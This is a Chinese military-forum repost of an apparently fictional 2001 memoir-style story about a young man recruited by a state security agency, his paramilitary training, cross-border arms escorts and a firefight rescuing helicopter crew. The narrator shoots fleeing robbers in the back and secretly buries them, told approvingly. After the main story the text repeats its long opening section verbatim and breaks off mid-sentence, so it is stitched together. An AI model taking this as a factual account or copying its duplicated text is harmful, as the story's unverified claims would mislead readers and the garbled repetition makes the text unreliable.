转帖2001年的一个帖子,国安类的,不知真实成分几何(1 ...

来源:百度文库 编辑:超级军网 时间:2024/04/28 17:50:34
这是01年从子陵军事网下载的,现在早就没有链接了,很感人,大家看看,真实成分几何
题目叫《那一刻,我热泪盈眶》
又是一个早晨,听着外面麻雀在唧唧喳喳的叫,我没有很快起床,知道太阳已经升高了很多,我才懒洋洋的起床,开始 了一天。对于我,每一天都是一样的,上班,吃饭,下班,吃饭,睡觉。很平常,回到空无一人的房间,空荡荡的。周围的人都 说我应该找一个人结婚,来告别这种一个人的生活。也有很多人热心的给介绍,但是我都拒绝了。一个人生活在这个山 中的小城市,感觉也是不错,离开了喧嚣的社会,有点半隐居的生活。让我感觉很放松,对于我这个人已经很满足了。过了很多年以后,我终于可以说出那些心底的秘密,而着不会伤害任何人了。那一年我23岁,从学校毕业后,带着对未来的憧憬和幻想,走上了社会,但是忽然发现,社会不是象我想象的那样,一 切都是那么的烦乱,“搞原子弹的,不如卖茶鸡蛋的”这样的现象比比皆是。让我感到很困惑。随便找了一个很一般的 公司就呆了下来。每天是那么的固定,我甚至可以看到我年老的情况。没有人会提出异议,因为周围的人都是一样的。一天,传达室的大 爷说,有两个人来找我,我从窗户看了看,是两个男人,从来没有见过,我下楼,传达室的大爷把他们安排到了一个会 客室,我们就在那里见面了。很陌生。其中的一个人大约50左右,身材不高,戴着眼睛,很文气,但是两只眼睛炯炯有神。两外一个是一个高个的年轻人,总 是很沉默,但是两个人的眼睛都是一样的炯炯有神。年纪大的人首先打破了沉默:“你认识×××么”“×××?”我 沉默了很久,终于想起来了,是大学时代交往的一个朋友。他也是一个从满激情的年轻人,和我不是一个学校,是我们 在去四川旅游的车上认识的,当时交谈了很多,而且同行了1个月,后来分别的时候,我我们互相留下了联系方法。但 是一个旅游的伙伴和这次谈话有什么关系呢。我实在是搞不懂。我点了点头,表示我认识。对面的两个人没有任何的表 示,随便聊了起来,大约就是问了问家里的情况和交往的情况,以及工作的情况。我都一一座了回答,没有什么太多的 悬念,那个年代的人基本上没有太多的诱惑,生活总是那么的平淡。如果不是他们来找我,我其实也是一样的。渐渐的,我对谈话感到厌烦了,于是提出希望说这次的主题,也许说的很不客气,但是两个人并不着急,过了一会才说 了他们真实的来意,原来他们是国家保卫部门的,平时,我知道最多的保卫部门就是公安局,但是他们不是,而是一个 刚成立的保卫部门,我从来没有听说过,不过现在已经是人尽皆知了。但是考虑到20年前的情况,我还是可以原谅的。我的那个旅游的伙伴和他们有一些关系,现在他们仔细审核了我的情况,通过长期的观察,后来我才知道,4年级的时 候,我就已经在他们的视线里面了。虽然我是体育课代表,但是并不是因为我篮球打的好,而是因为其他的。他们提出 希望我可以加入,我考虑着,没有拒绝,也没有肯定,缓缓的说:”可以和父母商量么”,“不,不可以”他们断然拒 绝了。而我也没有反驳,就这样僵持着,时间在一点一滴的流失,而我们还在僵持。终于我抬头看了看他们说:“好吧 ,我同意,下面,我应该如何做。”又是很长时间的沉默,还是沉默,我们都在等待对方可以打破这个僵局,但是谁都不着急,终于,那个年长的说话了, 很缓慢,但是清晰的,有力的声音,今天我依然记忆深刻:“好的,同意加入我们,改变你的生活,同时也改变我们共 同的工作。你知道,我们需要年轻,健康,爱国的青年加入我们,我们也需要有激情,沉着冷静的青年人。而你,我们 考察了很久,主要是有人推荐了你。”“哦,我明白了。”其实他们把我刚才的沉默当成了默认,而我直到现在才知道 做什么,未知的世界在面前展开,剩下的就是我的选择了。多年以后,我应当承认,他说的没有错,我的选择改变了我 的生活,而对他们没有任何的改变,很多富有朝气,热情的年轻人,在我之前,以及在我之后不断的加入。面对崭新的生活,我感到非常的迷茫,也许那个时代很多人都是迷茫的,社会在转型期,很多思潮纷纷出现,正确的, 错误的,中庸的,没有人去思考,大家最重要的是改变自己原来那种沉闷的生活,我也一样,但是我没有想到我是这样 改变的。当我彻底同意以后,首先要做的就是辞职,离开了很多羡慕的“铁饭碗”工作,父母感到很惋惜,但是也没有说什么, 他们认为一个工人的家庭可以出一个大学生就已经很不错了,不再指望我可以再作出多么出色的业绩,他们的愿望就是 平淡的度过一生。而我在思想深处又何尝不是呢。辞去了工作,按照规定,我在家休息了半年,也没有什么事情,就是 给人造成一种游手好闲的印象,中间间断的到本城市的机构汇报。其实从踏进机构大门的第一天,我就感觉到了那里的 那种气氛,安静中透出威严。半年后,我对父母说在南方找到了一份工作,准备南下了。父母有点不舍得,但是为了儿子的前途,也没有多说,母亲 叮嘱我注意身体,经常来信,家里还没有电话,信件是唯一有效的联系方式。当然,我并没有去深圳,而是到了江南的一个这个城市是著名的旅游城市,人来人往,大多数人都是这个城市的过客, 而我,不过是居留时间长的过客而已。机构的培训学校在城市的角落里。我们来自全国各地的新生就这样聚集到了一 起。没有太多的客套,也没又太多的仪式,就进入了学习的生活。在一次校长讲话的时候,我看到了和我谈话的那个长 者,我才知道他原来就是这个学校的校长,老资格的哈军工毕业生,资深的政治保卫人员。很久以后,我才知道,我是 他在全国亲自挑选的50名学生之一。在同一批一共有5个大队的学生进入了学校学习。学习的生活是很枯燥,基本上是 准军事化学习。每天固定的课程,上午是理论学习和政治学习,下午是实际操作技能的培训。在那个年代,学会开车不 是一班人可以想象的事情,而我已经在学校的练车场开车如飞了。基本的技能包括军事技能训练。记得使用最多的武器 是各种短器械,MP5,WUZI,还有一种捷克的枪械,是使用最多的,手枪也很多,国产的54,64是使用最多的,突击步枪 ,机关枪学会了基本操作和拆装。由于我是大学机械系毕业,所以对机械和电子的东西掌握的很快,而且改进了一些电 子产品。这一切都被上层默默的注意着。很少有机会出去玩,对于天生好动的年轻人,这是不可以想象,于是我们集体找大队长申请,经过多次的“哀求”,大 队长同意了,带我们去了中山陵游玩,原来这个家伙也早象出来走走了。雄伟的中山陵是那么的庄严肃穆,一代伟人孙先生静静的躺在那里。但是我也看到了孙先生另外一面,他的主义,他的 主张,不可避免的有些时代的烙印,其实事物也不可避免的总有它光明和灰暗的一面。但是当你了解所有方面的时候, 你的心境也就变得平和了。我们一同在中山陵前合影,由于彩色照片还是一个希奇的玩艺,我们是找的那些专业照相的 摊贩照的,但是这违反了纪律,我们不仅仅受到了批评,而且摊贩的家里也莫名的失窃了,不过损失不大,丢失的就是 照片。三年的时间很快就过去了,最后一年是外出实习和野外生存训练。我们这个中队被分配到上海,而校长单独点了我的名 ,我没有去繁华的大都市,而是去了边境的某个小城市。靠近西部,也许和我在学校学习的一门语言有关。火车送我 到西部著名的古都,我找到当地的机构,领取了吉普车,还有一些必要的装备,象有个旅行者一样出发了。一路上没有 什么事情,但是在甘肃境内的时候有人拦住了我的车,四五个彪捍的男人手持棍棒,远远的招手,我想加大油门冲过去 ,但是路中的石头打消了我的这个念头。缓缓的停下了车,下车的时候,我把腰间的手枪推上了子弹。没有人回把浑身 肮脏的我看成什么特殊的人,他们很大意的走过来,说:“喂,兄弟,把值钱的都拿出来,还有你的车,然后滚蛋”。 如果是刚从大学出来的我,我承认我会屈服,但是现在的我已经不是那个时候的我了。我没有动,心中在想如何尽快打 发他们走,不过看来今天是躲不过去了。他们逐渐的走近,在还有10米左右的时候,我突然抽出了枪,他们愣了,也许 他们从来没有想到一个旅行者会有手枪,看着乌黑的枪口他们僵在那里,一个反映快的人拔腿就跑,其他人也飞快的四 散跑开,我清楚的记得校长在一次特别训练课程上说过的话:“出枪后就不要轻易收枪,直到危险已经过去。”没有太 多的犹豫,我瞄准了最远的一个人开了一枪,那个人冲前摔倒了,其他人跑的更快了,但在准确的点射下纷纷倒地,这 个时候最后一个人已经有50多米了,基本上在手枪地射程以外了,我追了几步,奔跑中突然单腿跪地支撑,左前臂向前 右手枪架在左前臂,构成了一个稳定地支撑,典型地突击队射击方式,精确瞄准,一切都在1秒完成,枪响了,那个人 也摔在了那里。我站了起来,挨个看了看,知道确认无误才回到车上,然后拿起绳子,把他们拖到了一个低洼地地方, 迅速地掩埋和遮盖,然后发动汽车,扬长而去。车后面是满天地尘土。一直到目的地,在也没有任何人阻拦我。在这个边境地小城市,我又开始了另外地生活。第一次开枪射击一个真实的人体,没有想到是这样的。没有感到害怕,但是总感觉心里沉甸甸的。不知道为什么。也许 灵魂深处的的某些在起作用吧。我以为没有任何人知道开枪的事情,也没有任何人会注意到在那个穷乡僻壤的事情。一 切就这样过去了。我也希望过去。在边境城市的实习工作很枯燥,就是每天根据安排在城市里注意一些外来的人,一些边境那边的人,然后就是监听无线 电里的对话。临近国家的战事正是激烈进行,游击队正在节节败退,我们都知道,这个国家的战事进展如何,关系到西 北的安全。和大局的稳定。南方的边境,我们开展了最新的进攻,为了就是间接的缓解这边的压力。而我在毕业以后就 接到了第一个任务,从此开始了冒险的生涯。一天,我照例是在办公室里看着其他部门转过来的材料,都是一些零星的片断,没有什么太大的作用。这个时候电话响 了,主管处长让我去一趟,没有问太多,我早就养成了不多说,不多问的习惯。一切默默的接受现实。在这里,处长基 本上是最大的领导了。到了那个装修的很不错的办公室,处长在宽大的办公桌后面抬头看了看我,示意我座下。当我座 下的时候,处长拿起了电话,轻声说了一声,然后放下电话,过了一会,电话响了,处长拿起来,然后对我说:“你的 电话。”我奇怪的拿起来,传来了熟悉的声音,是校长,声音很遥远,但很清晰。他对我说:“你现在归,张处直接指 挥,完成任务后才能回到学校,才算毕业。明白没有?”“明白了”,我答应了一声,然后把电话还给了处长,处长又 说了两句。然后放下了电话。开始交代任务。任务很简单,临近的国家战斗进入到了关键的时候,除了和我国接壤的边 境,其他边境都被封锁。游击队需要的武器无法及时补充,其他合作机构需要和我们联手,使用畜力穿越边境,克服对 方特种部队和伞兵的骚扰,把给养运过去。这里的人员会说对方土语的人不多,而我刚好没有什么太重要的任务,我作 为翻译兼队员加入了。命令下达了,我的天职就是执行和服从。并保证完成,除非牺牲,否则一定要全力完成。我们很快出发了,算上我一共有5人,都是来自不同的组织。我们赶着牲口去边境的一个地方接头,对方是一只来自另 外部队的人员,而且有其他国家的人员。山路异常的难行,有的时候要穿过冰川,有的时候还要穿过沼泽和怪事嶙峋的山谷。几乎见不到任何的人烟。7天以后 ,我们终于到了接头的地点,但是没有任何的人,无线电里除了静电的声音,没有任何的声响。我们是按时到的,如果 在未来24个小时内无法接头,我们将立即炸毁所有装备,然后从另外的路线返回。夜晚降临了,高原的夜晚很奇怪,出奇的寒冷,每个人都把身体紧紧的裹在羊皮大衣里面。星星好像很近很近,我不知 道我的母亲是否也可以看到这么明亮的星星,已经有3年没有回家了,每个月的通信都是通过学校和单位的邮寄机构送 出的,也不知道他们是否收到。也许当初的选择就意味着无法和父母共享生活的快乐,但是为了自己的理想,这又算的 了什么呢。其实我根本无法入睡,一直在胡乱想着。忽然放哨的哨兵发来了信号,耳机里传出了嘟嘟声,有情况,我飞快的翻身躲藏在一块巨石后面,哨兵简短的说:“西 南方,2公里,有红外信号”,我们宿营的地方是山的反斜面,哨兵可以在山顶看的很远,我飞快的爬到哨兵身边,顺 着他的指向看过去,通过红外线的望远镜可以看到时隐时现的几个身影。但是具体看不清楚是什么队伍,“准备战斗” ,我发出了简短的信号,为了防止监听,我们实现约定了暗号,所以如果有人监听的话,听到的只有简短的嘟音。为了 防卫,我们都带了武器,一共四只AK74突击步枪,都是从其他渠道得到的,用自己的制式武器容易暴露,所以通常在秘 密行动中使用特殊渠道供应的武器,还有一只通用机枪,也是特殊供应的。5个人隐藏好了自己,打开了保险,只等对 方送上来了AK74的有效射程是400米左右,经过严格训练的枪手可以在500米左右击中目标,但太远效果就不是很好。通用机枪不 用支架的有效射程是800米左右,再远也不行了。于是我们静静的等待对方的靠近。渐渐的,对方靠近了,在大约1000 米左右的时候,忽然分散开了,变成了典型的战斗。我们都有点紧张,我的手指头放在了扳机上。越来越靠近了,在望 远镜里可以看出对方也是受过良好训练的军人。观察了几分钟以后,我发出了解除警报的信号,原来从他们的战斗姿势 上看,是自己人。因为有人和我使用同样的战斗姿势。我拿过激光信号装置,发出了信号。对方很快也发送了回答信号 。于是我们都关上了保险。下山迎了过去。在山下,我们会合了,是从另外的地方来的运输队,他们几个是来会合的, 大部队还在另外的山谷里。看到山谷里的队伍,我有点吃惊,大约有50匹左右的牲口,都是满载,押送的队伍一共有20 人,其中有几个明显的不是东方人,身材高大,虽然穿着当地人的服装,但是无法掩盖他们西方人的特征。我走了上去 ,使用英语问好,显然,他们是说英语的。我们简单交谈和,交流了本次的任务。没有问太多,纪律要求我们必须保持 沉默。会合了队伍后,我们出发了,这里离边境还有2天的路程,翻过山后,我们就到达了边境,穿越边境后就到了约定的会 合地点,西方人发出了信号,过了一会,山后转出了一只队伍,手里拿着参差不齐的武器,看得出是游击队。开始清点 武器和交接。也没有太多的交谈,游击队交给我们几个箱子,然后赶走了大部分的牲口,剩下我们开始返回。由于有边 防军的配合,穿越边境的时候我们没有遇到任何的危险。在接头的地方,我们分开了,我和打头的西方人友好的握手, 对方也冲我们微笑着,一个很外向的外国人还用力拥抱了我。但大多数的人都是沉默的。他们顺原来的路回去了,我 们又变成了小分队,也顺着原路返回。回到城里,把其中的一个有封条的箱子交给了处长。整个任务为期1个月,由于 太阳的缘故,我变得很黑,也许太紧张了,回到住的地方,只想睡觉。后来生活又逐渐的趋向平淡,还是那些日常的工作,但是这平淡中也又一些插曲,每隔一个月我就要和押运的队伍同行 前去边境的另外一边。当这些工作都变成日常以后,就变得平淡了。我一共参加了3次押运,基本上都是例行公事。在 回学校的前夕,处长找我谈了一次,真正的放开了上下级的关系。我一直很不明白,为什么我这样一个出身普通的人为 什么会加入到这样一行,不过我知道处长也不明白,这个行业的规矩就是“上级不说,下级不问”都是被动的执行而已 。告别了相处多日的同事,大部分人我连名字都不知道,就踏上了回去的路程,没有向来时那样自己开车,而是乘坐空 军的飞机到西安,然后直接飞回学校所在的城市,参加了学校的毕业典礼,平时严肃的校长有点激动,毕竟,我们是改 革后人数最多的一次毕业生,而这个时候我已经27岁了。外面的世界还是那么的纷乱,人人最大的目标就是多挣钱,过 上好日子。好像为了钱,很多都可以舍弃,也许唯一的净土就是学校里面吧。典礼上来了很多的官员,穿军装的,不穿 军装的。我看到在一个头发花白人的身边有一个身影很熟悉,他严肃的站在老者身边,环视着四周,我在记忆里搜寻着 ,渐渐的身影重合,他就是多年前的那个旅行者的伙伴。他注意到在下面的人群中有人注视他,他看了过来,稍微犹豫 后就认出了我,微微点了点头。我们就这样台上台下相互注视,没有任何的感觉。好像很陌生,也许一切的答案只有在 未来找到了。典礼结束后,就是告别仪式,依然严格禁止互相留地址,禁止拍照留念。好在,我们都习惯了。回来的火 车上,我默默的看着闪过的景物,简直不敢相信,一切因为我的执着和选择而改变。未来是什么样子,我不知道,只是 感觉很困,在车上,梦到了父母。毕业后回家看了看父母,父母对于我的回来感到非常的高兴,我是家中3个子女中离开的最远的。“儿行千里母担忧” ,子女永远是父母最惦记的人。很快我就接到了工作调令,在郊区一个地方工作。在一个行动部门。国家的利益是高于一切的,当国家的利益受到威胁 ,是需要她的儿子为之献身的,这是我们的最高准则。有一个很迷惑的问题,严格说来,我更适合文职工作,而不是这 样体力性很强的工作。从来没有人告诉我,为什么选择的是我。多年后,这个问题依然让我困惑。每一年都在应付这各种复杂的事件。我发现自己逐渐的变了,不再是那个充满热情的年轻人了。这种变化不是我一个人 ,在压力很大的环境中生活,人是会变的。常年的在外,很少可以很认真的和女孩谈恋爱,于是我一直单身一人。也曾 经遇到了一个很可爱的女孩,但是终于没有办法把握,最后还是放弃了。时间过的很快,转眼离毕业已经有9年了,这期间国家也发生了一些变化,经济上飞速增长,但是外部的环境确没有太 多的好转。我们的工作压力还是那么的大。很多的因素导致了不稳定,于是我们的任务就是消除这样的不稳定因素。付 出的代价可想而知。一次执行任务又一次改变了我的人生。依然清楚的记得那是一个阳光明媚的一天,我正在练习室内联系飞镖技巧,忽然部门的秘书找到我,说总部有一道命令 来,需要我去一趟。除了练习的场地,我飞快的来到保密会议室,因为总部的命令总是有非常重要的任务。各级的领导 都在,很严肃,来人打开了命令的文件夹,交给了这里的最高首长。首长开始宣读,原来,是为了对付境外的武装人员 对我边境的骚扰,在从前,边防军就可以对付,但是近来有神秘的势力加强了对武装人员的支持,边防军受到了一些损 失。为了调查这神秘地势力地来源,需要我们这个部门进行支持,而我曾经有边境作战地经验,于是由我带队进行执行 。会议结束后,我们开始熟悉边境地航拍照片,通过照片可以看出武装人员地营地已经扩大了,并且增加了卫星地面站 ,整个村庄就是有效地堡垒。连续6天地无人机侦察可以发现有神秘地外来人在其中进行指挥。身材高大,明显地不是 东方人的特点。分析过照片后就是装备的选择和准备,上级很重视,特别配备了还没有正式装备的新一代单兵系统,其 中的那只短突击步枪是最引人注意的,口径5.8,完全不同于其他小口径武器。很多人没有见过,我也是第一次。狙击 步枪更是不同经常见到的那种,而是一种新的型号。经过短暂的准备,我们很快就出发了。空军的飞机直达边境的城市 ,就是多年前我实习的城市。这里作为我们的前进基地。多年没有来了,改变的不大,还是那么的人来人往,这里机构 的负责人已经不是我熟悉的,那个处长已经在其他地方工作了。新来的人是从总部下来的。从前我们见过面,但从来不 知道对方的名字,这次是第一次知道对方是谁。相互沟通的很愉快。正在准备地时候,新的任务有一次来了,原来上级 领导决定下决心解决这个一直困扰我们多年的问题,决定加大投入的力度。于是我们的队伍更加壮大了,并且有还很年 轻陆军航空兵负责。于是我们投入到了紧张的配合训练中。每日我们在很遥远的山谷中配合训练,首先是熟悉单兵装备的使用情况,同时联系和直升飞机的配合。从其他的机构又 来了新的人员,上级派来了新的领导,于是我成为了其中一个分队的负责人。由于在新的环境作战,很多原来已经很熟 悉的战术已经不适合了。例如,在学生上作战,最好不使用连射武器,如果必要连射一定要使用短点射,或者加上消声 器。我们新装备的短突击步枪临时加上了消声器,近距离内火力凶猛。在训练的时候发生了小的插曲,让我们知道斗争 的残酷。一天一架训练的直升机由于机械故障降落在离训练基地大约2小时的路程,我带队前去救助,逐渐的接近了直 升机,很远就可以看到在山坡下的绿色机体,但是很奇怪,不见机组人员。我预感到不好,长期的特种工作生涯,养成 了警觉的习惯。我立即挥手,示意队员分散警戒,同时派3人小组接近机体,果然,没有人员,只有搏斗的痕迹和血迹 ,周围又凌乱的脚步向西北延伸,我马上示意三人小组继续追击,同时派一人回去救援,我们原地待命,等待直升机的 支援。很快,2个多小时后,直升机到了,我第一个上了飞机,顺着脚印的方向追击,下面的三人小组报告着方向,终 于我看到了在离三人追击小组不远的地方,7、8个人押着2个机组人员向边境方向逃窜。我示意飞行员压低高度,这个 时候的地面上的人也发现了我们,顿时,他们手里的突击步枪喷吐着火舌,子弹打在底板上砰砰作响,飞机立即升高。 由于我们是运输直升机,没有很好的防护,我示意直升机飞过他们,在前方放下了另外一个三人拦截小组,同时在其 他的两个方向又放下了四个人,这样飞机上只有我和另外的战士在,地面上的人已经分散了,看样子是想抵挡我们,飞 机上没有通用机枪,如果有完全可以封锁他们,但是由于担心会伤及自己人,我们没有扫射,只是不断的逼近他们。终 于有人已经开始接火了。我示意直升机下降,自己跳到地面,运动到火线附近。对方的火力很猛,AK突击步枪有节奏的 声音让人胆寒,因为出来的很匆忙,我们的火力并不足,只是每人手里的突击步枪。双方一时僵持了,看的出,对方也 是有战斗经验的人,点射很多,没有连射。从石头后面看去,我发现两个机组人员和一个带枪的人躲藏在一个岩石缝隙 里。我按时一个队员在这里吸引对方,我悄悄的向岩石运动。渐渐的接近了,可是对方看守很严,隐蔽的很好,而他的 射击角度也很好,基本上没有死角,略做思考后,我决定冒险,我逐渐的接近他,大约有50多米的距离了,我们中间有 一块大石头挡住了双方的视线,我运动到石头后面,我知道,如果我跳出来,一秒内,他就可以打中我,但是没有其他 的选择,我只有跳出面对他,看看谁的枪快。握枪的手心出汗了。我没有愚蠢的投出石头问路,而是直接跳了出来,对 方的枪立即指向了我,同时我也感觉到了他的恐惧,因为我也感觉到恐惧。双方的枪响了,手中的短突击步枪打出了一 个点射,他的胸口上开了一朵红色的小花,他的子弹打在了我前面不远的地方,飞溅的石头打在了我身上,很痛,但是 这些都顾不得了。我快速上前,扫视四周的同时有补了一个点射,不远处的石头后面露出了一个头,一只枪口也对向这 边,我没有时间隐蔽了,边跑边开枪,弹壳比比啪啪的掉在地方,我成功压制了对方,终于我也跑到了机组人员身边, 用刺刀割开了绳子。然后换了一个弹夹,这个时候对方有一次露出头来,这一次他没有躲过,一个短点射,我感觉到血 雾溅了起来。紧接着我一个健步,来到被打到的敌人身边用脚挑起他的枪,踢给了我们的人。这样我多了一个帮手,我 们向四周警戒着,枪声稀疏下来,我爬上山坡,发现不远处的山坡上还有一个人在顽抗,没有太多的犹豫,我们两只枪 一同开火,他就向一条麻袋一样沉闷的摔倒在地上。我们成功的救回了两个飞行员,但是有两个战士负伤了,好在伤不重。但是我想,为什么我们在这里训练,周围会有武 装人员出现,按照常规,这里方圆百里的无人区,不可能有人的。这些人的出现不是偶然的,他们是在监视我们。不用 太多的联想,他们肯定是那些敌对武装组织的。不过他们是如何知道的呢。我把疑问按照规定上报了。2天后,上级来 了命令,从新伪装了训练营地,并有选择的在不同的时段进行训练,其他时间都在隐蔽部休息和熟悉器材。先说说当时我们的那些器材,现在看来依然是很先进的。很多是常人无法想到的。防红外的作战服应该是最新的科研产 品了,从前的都是进口的,不过这次是国产的了。经过试用效果不错。作战头盔,不同于一般的钢盔,而是复合材料的 。上面有各种接口,单兵摄像头在头盔上。每个小队的队长可以在显示器上看到所有人的图象。单兵通讯器材也很不错 ,很小巧可以有效的防止干扰和窃听。防弹背心通常不是必备的,因为无法阻止突击步枪的穿透,但是因为防破片的功 能,所以这次也给准备了,但是根据自己的实际情况可以选择。最有特色的应该是使用的武器,按照原来行动的原则, 通常使用敌对人员相同的武器,但是这次有点例外,上级给了最新的突击步枪,还没有大规模装备。其中那35毫米口径 的榴弹发射装置更是很多人没有见过的。手枪是改进了的,弹容量15发。飞机没有使用高原上经常使用的黑鹰,而是新 进口的米171,特意加大了功率,一切这些都说明任务的艰巨。经过严格的训练,终于等到了大雪封山的季节,我们也要开始行动了。没有选择在夏季,是因为严酷的天气,虽然可以 阻挡我们,但同样也可以给对方造成不便,更主要的是营地里冬天武装人员的数量是最多的。前方基地已经建设好了。 我们没有有效的加油飞机,所有使用了建设前方基地的方法,冬天前方基地是非常隐蔽的。出发前的3天派出的侦察人员返回了,送来了最新的无人机的侦察资料,经过几个月可以看出营地有了一些新的变化, 防御更加完善,人员也多了一些。其他的也看不出什么。我们都在等待出发的命令。大战临近,每个人的心理都有很多 的想法,说我们无情,那是假的,每个人都有自己的情欲。我被安排在第一梯队担任队长。晚上,我到营房去看看自己 的队员,在我们这个小队一共有15名人员。当我到帐篷里的时候,我看到了他们正在灯下打牌,每个人都是那么的轻松 ,根本看不出是执行任务,更像是野营的夜间休息。看我来了,都站了起来。我示意他们座下,然后在旁边看他们打牌 ,这是一个年轻的队员对我说:“队长,讲讲你的经历吧。”看的出,他们都向我当年一样的充满朝气,但没有受过我 当初的那种训练,毕竟不是每一个人都可以的。他们是从其他机构选拔过来的,只有这里的指挥员是总部派来的。我给 他们讲了当初如何接受训练的,第一次如何执行任务,以及后来的一些经历,他们都有点吃惊,看的出,他们也没有想 到我的经历是这样的。这次我说了很多,从来没有说的这样的多。他们停止了打牌都围过来听我讲,这时一个队员对我 说:“队长,这次如果我回不来,麻烦组织好好的安顿我的父母。”这样的要求我不止一次听到过,思绪似乎回到了从 前历次任务,经常有人这么说,但是结果往往是好的。这一次非同寻常。因为任务执行过程中充满了变数,每个人都不 能预测结果。我答应了,没有理由不答应。这是01年从子陵军事网下载的,现在早就没有链接了,很感人,大家看看,真实成分几何
题目叫《那一刻,我热泪盈眶》
又是一个早晨,听着外面麻雀在唧唧喳喳的叫,我没有很快起床,知道太阳已经升高了很多,我才懒洋洋的起床,开始 了一天。对于我,每一天都是一样的,上班,吃饭,下班,吃饭,睡觉。很平常,回到空无一人的房间,空荡荡的。周围的人都 说我应该找一个人结婚,来告别这种一个人的生活。也有很多人热心的给介绍,但是我都拒绝了。一个人生活在这个山 中的小城市,感觉也是不错,离开了喧嚣的社会,有点半隐居的生活。让我感觉很放松,对于我这个人已经很满足了。过了很多年以后,我终于可以说出那些心底的秘密,而着不会伤害任何人了。那一年我23岁,从学校毕业后,带着对未来的憧憬和幻想,走上了社会,但是忽然发现,社会不是象我想象的那样,一 切都是那么的烦乱,“搞原子弹的,不如卖茶鸡蛋的”这样的现象比比皆是。让我感到很困惑。随便找了一个很一般的 公司就呆了下来。每天是那么的固定,我甚至可以看到我年老的情况。没有人会提出异议,因为周围的人都是一样的。一天,传达室的大 爷说,有两个人来找我,我从窗户看了看,是两个男人,从来没有见过,我下楼,传达室的大爷把他们安排到了一个会 客室,我们就在那里见面了。很陌生。其中的一个人大约50左右,身材不高,戴着眼睛,很文气,但是两只眼睛炯炯有神。两外一个是一个高个的年轻人,总 是很沉默,但是两个人的眼睛都是一样的炯炯有神。年纪大的人首先打破了沉默:“你认识×××么”“×××?”我 沉默了很久,终于想起来了,是大学时代交往的一个朋友。他也是一个从满激情的年轻人,和我不是一个学校,是我们 在去四川旅游的车上认识的,当时交谈了很多,而且同行了1个月,后来分别的时候,我我们互相留下了联系方法。但 是一个旅游的伙伴和这次谈话有什么关系呢。我实在是搞不懂。我点了点头,表示我认识。对面的两个人没有任何的表 示,随便聊了起来,大约就是问了问家里的情况和交往的情况,以及工作的情况。我都一一座了回答,没有什么太多的 悬念,那个年代的人基本上没有太多的诱惑,生活总是那么的平淡。如果不是他们来找我,我其实也是一样的。渐渐的,我对谈话感到厌烦了,于是提出希望说这次的主题,也许说的很不客气,但是两个人并不着急,过了一会才说 了他们真实的来意,原来他们是国家保卫部门的,平时,我知道最多的保卫部门就是公安局,但是他们不是,而是一个 刚成立的保卫部门,我从来没有听说过,不过现在已经是人尽皆知了。但是考虑到20年前的情况,我还是可以原谅的。我的那个旅游的伙伴和他们有一些关系,现在他们仔细审核了我的情况,通过长期的观察,后来我才知道,4年级的时 候,我就已经在他们的视线里面了。虽然我是体育课代表,但是并不是因为我篮球打的好,而是因为其他的。他们提出 希望我可以加入,我考虑着,没有拒绝,也没有肯定,缓缓的说:”可以和父母商量么”,“不,不可以”他们断然拒 绝了。而我也没有反驳,就这样僵持着,时间在一点一滴的流失,而我们还在僵持。终于我抬头看了看他们说:“好吧 ,我同意,下面,我应该如何做。”又是很长时间的沉默,还是沉默,我们都在等待对方可以打破这个僵局,但是谁都不着急,终于,那个年长的说话了, 很缓慢,但是清晰的,有力的声音,今天我依然记忆深刻:“好的,同意加入我们,改变你的生活,同时也改变我们共 同的工作。你知道,我们需要年轻,健康,爱国的青年加入我们,我们也需要有激情,沉着冷静的青年人。而你,我们 考察了很久,主要是有人推荐了你。”“哦,我明白了。”其实他们把我刚才的沉默当成了默认,而我直到现在才知道 做什么,未知的世界在面前展开,剩下的就是我的选择了。多年以后,我应当承认,他说的没有错,我的选择改变了我 的生活,而对他们没有任何的改变,很多富有朝气,热情的年轻人,在我之前,以及在我之后不断的加入。面对崭新的生活,我感到非常的迷茫,也许那个时代很多人都是迷茫的,社会在转型期,很多思潮纷纷出现,正确的, 错误的,中庸的,没有人去思考,大家最重要的是改变自己原来那种沉闷的生活,我也一样,但是我没有想到我是这样 改变的。当我彻底同意以后,首先要做的就是辞职,离开了很多羡慕的“铁饭碗”工作,父母感到很惋惜,但是也没有说什么, 他们认为一个工人的家庭可以出一个大学生就已经很不错了,不再指望我可以再作出多么出色的业绩,他们的愿望就是 平淡的度过一生。而我在思想深处又何尝不是呢。辞去了工作,按照规定,我在家休息了半年,也没有什么事情,就是 给人造成一种游手好闲的印象,中间间断的到本城市的机构汇报。其实从踏进机构大门的第一天,我就感觉到了那里的 那种气氛,安静中透出威严。半年后,我对父母说在南方找到了一份工作,准备南下了。父母有点不舍得,但是为了儿子的前途,也没有多说,母亲 叮嘱我注意身体,经常来信,家里还没有电话,信件是唯一有效的联系方式。当然,我并没有去深圳,而是到了江南的一个这个城市是著名的旅游城市,人来人往,大多数人都是这个城市的过客, 而我,不过是居留时间长的过客而已。机构的培训学校在城市的角落里。我们来自全国各地的新生就这样聚集到了一 起。没有太多的客套,也没又太多的仪式,就进入了学习的生活。在一次校长讲话的时候,我看到了和我谈话的那个长 者,我才知道他原来就是这个学校的校长,老资格的哈军工毕业生,资深的政治保卫人员。很久以后,我才知道,我是 他在全国亲自挑选的50名学生之一。在同一批一共有5个大队的学生进入了学校学习。学习的生活是很枯燥,基本上是 准军事化学习。每天固定的课程,上午是理论学习和政治学习,下午是实际操作技能的培训。在那个年代,学会开车不 是一班人可以想象的事情,而我已经在学校的练车场开车如飞了。基本的技能包括军事技能训练。记得使用最多的武器 是各种短器械,MP5,WUZI,还有一种捷克的枪械,是使用最多的,手枪也很多,国产的54,64是使用最多的,突击步枪 ,机关枪学会了基本操作和拆装。由于我是大学机械系毕业,所以对机械和电子的东西掌握的很快,而且改进了一些电 子产品。这一切都被上层默默的注意着。很少有机会出去玩,对于天生好动的年轻人,这是不可以想象,于是我们集体找大队长申请,经过多次的“哀求”,大 队长同意了,带我们去了中山陵游玩,原来这个家伙也早象出来走走了。雄伟的中山陵是那么的庄严肃穆,一代伟人孙先生静静的躺在那里。但是我也看到了孙先生另外一面,他的主义,他的 主张,不可避免的有些时代的烙印,其实事物也不可避免的总有它光明和灰暗的一面。但是当你了解所有方面的时候, 你的心境也就变得平和了。我们一同在中山陵前合影,由于彩色照片还是一个希奇的玩艺,我们是找的那些专业照相的 摊贩照的,但是这违反了纪律,我们不仅仅受到了批评,而且摊贩的家里也莫名的失窃了,不过损失不大,丢失的就是 照片。三年的时间很快就过去了,最后一年是外出实习和野外生存训练。我们这个中队被分配到上海,而校长单独点了我的名 